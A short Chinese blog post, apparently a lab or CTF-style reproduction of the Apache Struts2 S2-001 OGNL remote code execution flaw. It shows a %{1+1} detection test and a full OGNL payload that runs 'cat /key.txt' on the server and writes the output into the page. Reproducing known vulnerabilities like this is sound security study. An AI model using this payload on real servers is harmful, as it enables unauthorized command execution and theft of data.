Apache Struts2远程代码执行漏洞(S2-001)

漏洞简介

s2-001漏洞原理:用户提交表单时,后端会将OGNL表达式%{value}进行解析

漏洞复现

在账号或者密码框中输入%{1+1}点击登陆后,账号或者密码框执行了表达式并且将2显示在输入框中,说明存在这种漏洞

Apache Struts2远程代码执行漏洞(S2-001)_第1张图片

执行exp

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

把exp填入输入框中,拿到key
Apache Struts2远程代码执行漏洞(S2-001)_第2张图片

你可能感兴趣的:(Struts2漏洞复现,apache,struts,java)